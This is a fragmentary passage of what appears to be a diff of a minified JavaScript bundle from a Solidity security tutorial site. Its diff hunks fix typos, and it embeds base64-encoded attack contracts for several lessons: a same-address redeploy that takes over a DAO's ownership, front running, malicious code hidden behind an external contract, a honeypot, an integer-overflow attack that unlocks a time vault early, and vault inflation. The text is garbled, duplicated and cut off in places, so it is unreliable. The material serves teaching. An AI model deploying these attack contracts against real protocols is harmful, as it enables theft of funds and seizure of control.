CAgICAgYWRkcmVzcyB0YXJnZXQ7CiAgICAgICAgYm9vbCBhcHByb3ZlZDsKICAgICAgICBib29sIGV4ZWN1dGVkOwogICAgfQoKICAgIGFkZHJlc3MgcHVib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kgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IEF0dGFjaygpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo="}],HW=`

              Contract address deployed with create is computed in the following way.

              +`,VW=({prev:s,next:a})=>r.jsx(A,{version:kW,title:ZW,description:WW,cyfrinLink:GW,html:fW,prev:s,next:a,codes:BW}),YW="0.8.26",XW="Deploy Different Contracts at the Same Address",RW="An example of a Solidity contract vulnerable to deploy different contracts at the same address",vW="",NW=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0tIGFwcHJvdmVkIC0tPiBQcm9wb3NhbApEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyI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AgIGVtaXQgTG9nKGFkZHIpOwogICAgfQp9Cgpjb250cmFjdCBEZXBsb3llciB7CiAgICBldmVudCBMb2coYWRkcmVzcyBhZGRyKTsKCiAgICBmdW5jdGlvbiBkZXBsb3lQcm9wb3NhbCgpIGV4dGVybmFsIHsKICAgICAgICBhZGRyZXNzIGFkZHIgPSBhZGRyZXNzKG5ldyBQcm9wb3NhbCgpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBsb3lBdHRhY2soKSBleHRlcm5hbCB7CiAgICAgICAgYWRkcmVzcyBhZGRyID0gYWRkcmVzcyhuZXcgQXR0YWNrKCkpOwogICAgICAgIGVtaXQgTG9nKGFkZHIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGtpbGwoKSBleHRlcm5hbCB7CiAgICAgICAgc2VsZmRlc3RydWN0KHBheWFibGUoYWRkcmVzcygwKSkpOwogICAgfQp9Cg=="}],HW=`

              Contract address deployed with create is computed in the following way.

              contract address = last 20 bytes of sha3(rlp_encode(sender, nonce))
               

              where sender is the address of the deployer and nonce is the number of transactions sent by sender.

              Hence it is possible to deploy different contracts at the same address if we can somehow reset the nonce.

              @@ -10128,7 +10128,7 @@ DeployerDeployer -- create2 --> Deployer -- create --> Attack event Log(string message); function executeProposal() external { - emit Log("Excuted code approved by DAO"); + emit Log("Executed code approved by DAO"); } function emergencyStop() external { @@ -10142,7 +10142,7 @@ DeployerDeployer -- create2 --> Deployer -- create --> Attack address public owner; function executeProposal() external { - emit Log("Excuted code not approved by DAO :)"); + emit Log("Executed code not approved by DAO :)"); // For example - set DAO's owner to attacker owner = msg.sender; } @@ -10175,7 +10175,7 @@ DeployerDeployer -- create2 --> Deployer -- create --> Attack selfdestruct(payable(address(0))); } } -`,KW=({prev:s,next:a})=>r.jsx(A,{version:YW,title:XW,description:RW,cyfrinLink:vW,html:HW,prev:s,next:a,codes:NW}),FW="0.8.26",MW="Front Running",SW="An example of a Solidity contract vulnerable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iAgICAgICAgICAgICJDYW5ub3QgcmV2ZWFsIGluIHRoZSBzYW1lIGJsb2NrIgogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSghY29tbWl0LnJldmVhbGVkLCAiQWxyZWFkeSBjb21taXRlZCBhbmQgcmV2ZWFsZWQiKTsKCiAgICAgICAgYnl0ZXMzMiBzb2x1dGlvbkhhc2ggPQogICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChtc2cuc2VuZGVyLCBfc29sdXRpb24sIF9zZWNyZXQpKTsKICAgICAgICByZXF1aXJlKHNvbHV0aW9uSGFzaCA9PSBjb21taXQuc29sdXRpb25IYXNoLCAiSGFzaCBkb2Vzbid0IG1hdGNoIik7CgogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF9zb2x1dGlvbikpID09IGhhc2gsICJJbmNvcnJlY3QgYW5zd2VyIgogICAgICAgICk7CgogICAgICAgIHdpbm5lciA9IG1zZy5zZW5kZXI7CiAgICAgICAgZW5kZWQgPSB0cnVlOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBwYXlhYmxlKG1zZy5zZW5kZXIpLmNhbGx7dmFsdWU6IHJld2FyZH0oIiIpOwogICAgICAgIGlmICghc2VudCkgewogICAgICAgICAgICB3aW5uZXIgPSBhZGRyZXNzKDApOwogICAgICAgICAgICBlbmRlZCA9IGZhbHNlOwogICAgICAgICAgICByZXZlcnQoIkZhaWxlZCB0byBzZW5kIGV0aGVyLiIpOwogICAgICAgIH0KICAgIH0KfQo="}],zW=`

              Vulnerability

              +`,KW=({prev:s,next:a})=>r.jsx(A,{version:YW,title:XW,description:RW,cyfrinLink:vW,html:HW,prev:s,next:a,codes:NW}),FW="0.8.26",MW="Front Running",SW="An example of a Solidity contract vulnerable to front running",xW="",JW=[{fileName:"FrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEg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WlyZSghY29tbWl0LnJldmVhbGVkLCAiQWxyZWFkeSBjb21taXR0ZWQgYW5kIHJldmVhbGVkIik7CgogICAgICAgIGJ5dGVzMzIgc29sdXRpb25IYXNoID0KICAgICAgICAgICAga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQobXNnLnNlbmRlciwgX3NvbHV0aW9uLCBfc2VjcmV0KSk7CiAgICAgICAgcmVxdWlyZShzb2x1dGlvbkhhc2ggPT0gY29tbWl0LnNvbHV0aW9uSGFzaCwgIkhhc2ggZG9lc24ndCBtYXRjaCIpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfc29sdXRpb24pKSA9PSBoYXNoLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGVuZGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcGF5YWJsZShtc2cuc2VuZGVyKS5jYWxse3ZhbHVlOiByZXdhcmR9KCIiKTsKICAgICAgICBpZiAoIXNlbnQpIHsKICAgICAgICAgICAgd2lubmVyID0gYWRkcmVzcygwKTsKICAgICAgICAgICAgZW5kZWQgPSBmYWxzZTsKICAgICAgICAgICAgcmV2ZXJ0KCJGYWlsZWQgdG8gc2VuZCBldGhlci4iKTsKICAgICAgICB9CiAgICB9Cn0K"}],zW=`

              Vulnerability

              Transactions take some time before they are mined. An attacker can watch the transaction pool and send a transaction, have it included in a block before the original transaction. This mechanism can be abused to re-order transactions to the attacker's advantage.

              @@ -10339,7 +10339,7 @@ before the original. commit.commitTime < block.timestamp, "Cannot reveal in the same block" ); - require(!commit.revealed, "Already commited and revealed"); + require(!commit.revealed, "Already committed and revealed"); bytes32 solutionHash = keccak256(abi.encodePacked(msg.sender, _solution, _secret)); @@ -10360,7 +10360,7 @@ before the original. } } } -`,DW=({prev:s,next:a})=>r.jsx(A,{version:FW,title:MW,description:SW,cyfrinLink:xW,html:zW,prev:s,next:a,codes:JW}),EW="0.8.26",QW="Hiding Malicious Code with External Contract",TW="An example of exploit where malicious code is hidden in an external contract in Solidity",UW="",LW=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29kZSBpbnNpZGUgQmFyLmxvZygpLgpIb3dldmVyIEV2ZSBkZXBsb3lzIEZvbyB3aXRoIHRoZSBhZGRyZXNzIG9mIE1hbCwgc28gdGhhdCBjYWxsaW5nIEZvby5jYWxsQmFyKCkKd2lsbCBhY3R1YWxseSBleGVjdXRlIHRoZSBjb2RlIGF0IE1hbC4KKi8KCi8qCjEuIEV2ZSBkZXBsb3lzIE1hbAoyLiBFdmUgZGVwbG95cyBGb28gd2l0aCB0aGUgYWRkcmVzcyBvZiBNYWwKMy4gQWxpY2UgY2FsbHMgRm9vLmNhbGxCYXIoKSBhZnRlciByZWFkaW5nIHRoZSBjb2RlIGFuZCBqdWRnaW5nIHRoYXQgaXQgaXMKICAgc2FmZSB0byBjYWxsLgo0LiBBbHRob3VnaCBBbGljZSBleHBlY3RlZCBCYXIubG9nKCkgdG8gYmUgZXhlY3V0ZSwgTWFsLmxvZygpIHdhcyBleGVjdXRlZC4KKi8KCmNvbnRyYWN0IEZvbyB7CiAgICBCYXIgYmFyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2JhcikgewogICAgICAgIGJhciA9IEJhcihfYmFyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsQmFyKCkgcHVibGljIHsKICAgICAgICBiYXIubG9nKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGxvZygpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2coIkJhciB3YXMgY2FsbGVkIik7CiAgICB9Cn0KCi8vIFRoaXMgY29kZSBpcyBoaWRkZW4gaW4gYSBzZXBhcmF0ZSBmaWxlCmNvbnRyYWN0IE1hbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],_W=`

              Vulnerability

              +`,DW=({prev:s,next:a})=>r.jsx(A,{version:FW,title:MW,description:SW,cyfrinLink:xW,html:zW,prev:s,next:a,codes:JW}),EW="0.8.26",QW="Hiding Malicious Code with External Contract",TW="An example of exploit where malicious code is hidden in an external contract in Solidity",LW="",UW=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29k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KTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],_W=`

              Vulnerability

              In Solidity any address can be casted into specific contract, even if the contract at the address is not the one being casted.

              This can be exploited to hide malicious code. Let's see how.

              @@ -10427,7 +10427,7 @@ external contract can be reviewed constructor() public { bar = new Bar(); } -`,OW=({prev:s,next:a})=>r.jsx(A,{version:EW,title:QW,description:TW,cyfrinLink:UW,html:_W,prev:s,next:a,codes:LW}),PW="0.8.26",$W="Honeypot",qW="An example of honeypot in Solidity",s2="",a2=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyIHRyaWVzIHRvIGRyYWluIEV0aGVyIGZyb20gQmFuay4KQnV0IGFjdHVhbGx5IHRoZSByZWVudHJhY3kgZXhwbG9pdCBpcyBhIGJhaXQgZm9yIGhhY2tlcnMuCkJ5IGRlcGxveWluZyBCYW5rIHdpdGggSG9uZXlQb3QgaW4gcGxhY2Ugb2YgdGhlIExvZ2dlciwgdGhpcyBjb250cmFjdCBiZWNvbWVzCmEgdHJhcCBmb3IgaGFja2Vycy4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgS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YWxhbmNlID49IDEgZXRoZXIpIHsKICAgICAgICAgICAgYmFuay53aXRoZHJhdygxIGV0aGVyKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGJhbmsuZGVwb3NpdHt2YWx1ZTogMSBldGhlcn0oKTsKICAgICAgICBiYW5rLndpdGhkcmF3KDEgZXRoZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKLy8gTGV0J3Mgc2F5IHRoaXMgY29kZSBpcyBpbiBhIHNlcGFyYXRlIGZpbGUgc28gdGhhdCBvdGhlcnMgY2Fubm90IHJlYWQgaXQuCmNvbnRyYWN0IEhvbmV5UG90IHsKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGlmIChlcXVhbChfYWN0aW9uLCAiV2l0aGRyYXciKSkgewogICAgICAgICAgICByZXZlcnQoIkl0J3MgYSB0cmFwIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGNvbXBhcmUgc3RyaW5ncyB1c2luZyBrZWNjYWsyNTYKICAgIGZ1bmN0aW9uIGVxdWFsKHN0cmluZyBtZW1vcnkgX2EsIHN0cmluZyBtZW1vcnkgX2IpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo="}],n2=`

              A honeypot is a trap to catch hackers.

              +`,OW=({prev:s,next:a})=>r.jsx(A,{version:EW,title:QW,description:TW,cyfrinLink:LW,html:_W,prev:s,next:a,codes:UW}),PW="0.8.26",$W="Honeypot",qW="An example of honeypot in Solidity",s2="",a2=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyIHRyaWVzIHRvIGRyYWluIEV0aGVyIGZyb20gQmFuay4KQnV0IGFjdHVhbGx5IHRoZSByZWVudHJhY3kgZXhwbG9pdCBpcyBhIGJhaXQgZm9yIGhhY2tlcnMuCkJ5IGRlcGxveWluZyBCYW5rIHdpdGggSG9uZXlQb3QgaW4gcGxhY2Ugb2YgdGhlIExvZ2dlciwgdGhpcyBjb250cmFjdCBiZWNvbWVzCmEgdHJhcCBmb3IgaGFja2Vycy4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgSG9uZXlQb3QKMi4gQWxpY2UgZGVwbG95cyBCYW5rIHdpdGggdGhlIGFkZHJlc3Mgb2YgSG9uZXlQb3QKMy4gQWxpY2UgZGVwb3NpdHMgMSBFdGhlciBpbnRvIEJhbmsuCjQuIEV2ZSBkaXNjb3ZlcnMgdGhlIHJlZW50cmFuY3kgZXhwbG9pdCBpbiBCYW5rLndpdGhkcmF3IGFuZCBkZWNpZGVzIHRvIGhhY2sgaXQuCjUuIEV2ZSBkZXBsb3lzIEF0dGFjayB3aXRoIHRoZSBhZGRyZXNzIG9mIEJhbmsKNi4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSB3aXRoIDEgRXRoZXIgYnV0IHRo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gTGV0J3Mgc2F5IHRoaXMgY29kZSBpcyBpbiBhIHNlcGFyYXRlIGZpbGUgc28gdGhhdCBvdGhlcnMgY2Fubm90IHJlYWQgaXQuCmNvbnRyYWN0IEhvbmV5UG90IHsKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGlmIChlcXVhbChfYWN0aW9uLCAiV2l0aGRyYXciKSkgewogICAgICAgICAgICByZXZlcnQoIkl0J3MgYSB0cmFwIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGNvbXBhcmUgc3RyaW5ncyB1c2luZyBrZWNjYWsyNTYKICAgIGZ1bmN0aW9uIGVxdWFsKHN0cmluZyBtZW1vcnkgX2EsIHN0cmluZyBtZW1vcnkgX2IpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo="}],n2=`

              A honeypot is a trap to catch hackers.

              Vulnerability

              Combining two exploits, reentrancy and hiding malicious code, we can build a contract

              that will catch malicious users.

              @@ -10533,7 +10533,7 @@ Logger.log() calls HoneyPot.log() and reverts. Transaction fails. return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b)); } } -`,l2=({prev:s,next:a})=>r.jsx(A,{version:PW,title:$W,description:qW,cyfrinLink:s2,html:n2,prev:s,next:a,codes:a2}),p2="0.8.26",e2="Arithmetic Overflow and Underflow",c2="An example of hacking Solidity with arithmetic overflow / underflow",t2="",o2=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHk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ogICAgICAgIDIqKjI1NiA9IHR5cGUodWludCkubWF4ICsgMQogICAgICAgIHNvIHggPSB0eXBlKHVpbnQpLm1heCArIDEgLSB0CiAgICAgICAgKi8KICAgICAgICB0aW1lTG9jay5pbmNyZWFzZUxvY2tUaW1lKAogICAgICAgICAgICB0eXBlKHVpbnQyNTYpLm1heCArIDEgLSB0aW1lTG9jay5sb2NrVGltZShhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICAgICAgdGltZUxvY2sud2l0aGRyYXcoKTsKICAgIH0KfQo="}],r2=`

              Vulnerability

              +`,l2=({prev:s,next:a})=>r.jsx(A,{version:PW,title:$W,description:qW,cyfrinLink:s2,html:n2,prev:s,next:a,codes:a2}),p2="0.8.26",e2="Arithmetic Overflow and Underflow",c2="An example of hacking Solidity with arithmetic overflow / underflow",t2="",o2=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gVGhpcyBjb250cmFjdCBpcyBkZXNpZ25lZCB0byBhY3QgYXMgYSB0aW1lIHZhdWx0LgovLyBVc2VyIGNhbiBkZXBvc2l0IGludG8gdGhpcyBjb250cmFjdCBidXQgY2Fubm90IHdpdGhkcmF3IGZvciBhdCBsZWFzdCBhIHdlZWsuCi8vIFVzZXIgY2FuIGFsc28gZXh0ZW5kIHRoZSB3YWl0IHRpbWUgYmV5b25kIHRoZSAxIHdlZWsgd2FpdGluZyBwZXJpb2QuCgovKgoxLiBEZXBsb3kgVGltZUxvY2sKMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgVGltZUxvY2sKMy4gQ2FsbCBBdHRhY2suYXR0YWNrIHNlbmRpbmcgMSBldGhlci4gWW91IHdpbGwgaW1tZWRpYXRlbHkgYmUgYWJsZSB0bwogICB3aXRoZHJhdyB5b3VyIGV0aGVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGNhdXNl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XJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cgpjb250cmFjdCBBdHRhY2sgewogICAgVGltZUxvY2sgdGltZUxvY2s7CgogICAgY29uc3RydWN0b3IoVGltZUxvY2sgX3RpbWVMb2NrKSB7CiAgICAgICAgdGltZUxvY2sgPSBUaW1lTG9jayhfdGltZUxvY2spOwogICAgfQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICB0aW1lTG9jay5kZXBvc2l0e3ZhbHVlOiBtc2cudmFsdWV9KCk7CiAgICAgICAgLyoKICAgICAgICBpZiB0ID0gY3VycmVudCBsb2NrIHRpbWUgdGhlbiB3ZSBuZWVkIHRvIGZpbmQgeCBzdWNoIHRoYXQKICAgICAgICB4ICsgdCA9IDIqKjI1NiA9IDAKICAgICAgICBzbyB4ID0gLXQKICAgICAgICAyKioyNTYgPSB0eXBlKHVpbnQpLm1heCArIDEKICAgICAgICBzbyB4ID0gdHlwZSh1aW50KS5tYXggKyAxIC0gdAogICAgICAgICovCiAgICAgICAgdGltZUxvY2suaW5jcmVhc2VMb2NrVGltZSgKICAgICAgICAgICAgdHlwZSh1aW50MjU2KS5tYXggKyAxIC0gdGltZUxvY2subG9ja1RpbWUoYWRkcmVzcyh0aGlzKSkKICAgICAgICApOwogICAgICAgIHRpbWVMb2NrLndpdGhkcmF3KCk7CiAgICB9Cn0K"}],r2=`

              Vulnerability

              Solidity < 0.8

              Integers in Solidity overflow / underflow without any errors

              Solidity >= 0.8
              @@ -10542,7 +10542,7 @@ Logger.log() calls HoneyPot.log() and reverts. Transaction fails. pragma solidity ^0.7.6; // This contract is designed to act as a time vault. -// User can deposit into this contract but cannot withdraw for atleast a week. +// User can deposit into this contract but cannot withdraw for at least a week. // User can also extend the wait time beyond the 1 week waiting period. /* @@ -11231,7 +11231,7 @@ if the signer's intention was to approve a transaction once.

              ); } } -`,Q2=({prev:s,next:a})=>r.jsx(A,{version:S2,title:x2,description:J2,cyfrinLink:z2,html:E2,prev:s,next:a,codes:D2}),T2="0.8.26",U2="Vault Inflation",L2="An example of vault inflation",_2="",O2=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIElFUkMyMCwKICAgIFZhdWx0LAogICAgVG9rZW4KfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3MvdmF1bHQtaW5mbGF0aW9uL1ZhdWx0SW5mbGF0aW9uLnNvbCI7Cgp1aW50OCBjb25zdGFudCBERUNJTUFMUyA9IDE4OwoKY29udHJhY3QgVmF1bHRUZXN0IGlzIFRlc3QgewogICAgVmF1bHQgcHJpdmF0ZSB2YXVsdDsKICAgIFRva2VuIHByaXZhdGUgdG9rZW47CgogICAgYWRkcmVzc1tdIHByaXZhdGUgdXNlcnMgPSBbYWRkcmVzcygxMSksIGFkZHJlc3MoMTIpXTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7CiAgICAgICAgdG9rZW4gPSBuZXcgVG9rZW4oKTsKICAgICAgICB2YXVsdCA9IG5ldyBWYXVsdChhZGRyZXNzKHRva2VuKSk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHVzZXJzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHRva2VuLm1pbnQodXNlcnNbaV0sIDEwMDAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgICAgIHZtLnByYW5rKHVzZXJzW2ldKTsKICAgICAgICAgICAgdG9rZW4uYXBwcm92ZShhZGRyZXNzKHZhdWx0KSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgIC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gIHRva2VuLnRyYW5zZmVyKGFkZHJlc3ModmF1bHQpLCAxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwoKICAgICAgICAvLyB1c2Vyc1sxXSBkZXBvc2l0IDEwMAogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzFdIGRlcG9zaXQgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMV0pOwogICAgICAgIHZhdWx0LmRlcG9zaXQoMTAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgcHJpbnQoKTsKICAgIH0KfQo="}],P2=`

              Vulnerability

              +`,Q2=({prev:s,next:a})=>r.jsx(A,{version:S2,title:x2,description:J2,cyfrinLink:z2,html:E2,prev:s,next:a,codes:D2}),T2="0.8.26",L2="Vault Inflation",U2="An example of vault inflation",_2="",O2=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIElFUkMyMCwKICAgIFZhdWx0LAogICAgVG9rZW4KfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3MvdmF1bHQtaW5mbGF0aW9uL1ZhdWx0SW5mbGF0aW9uLnNvbCI7Cgp1aW50OCBjb25zdGFudCBERUNJTUFMUyA9IDE4OwoKY29udHJhY3QgVmF1bHRUZXN0IGlzIFRlc3QgewogICAgVmF1bHQgcHJpdmF0ZSB2YXVsdDsKICAgIFRva2VuIHByaXZhdGUgdG9rZW47CgogICAgYWRkcmVzc1tdIHByaXZhdGUgdXNlcnMgPSBbYWRkcmVzcygxMSksIGFkZHJlc3MoMTIpXTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7CiAgICAgICAgdG9rZW4gPSBuZXcgVG9rZW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ICAvLyB1c2Vyc1swXSBkZXBvc2l0IDEKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkZXBvc2l0IC0tLSIpOwogICAgICAgIHZtLnByYW5rKHVzZXJzWzBdKTsKICAgICAgICB2YXVsdC5kZXBvc2l0KDEpOwogICAgICAgIHByaW50KCk7CgogICAgICAgIC8vIHVzZXJzWzBdIGRvbmF0ZSAxMDAKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkb25hdGUgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMF0pOwogICAgICAgIHRva2VuLnRyYW5zZmVyKGFkZHJlc3ModmF1bHQpLCAxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwoKICAgICAgICAvLyB1c2Vyc1sxXSBkZXBvc2l0IDEwMAogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzFdIGRlcG9zaXQgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMV0p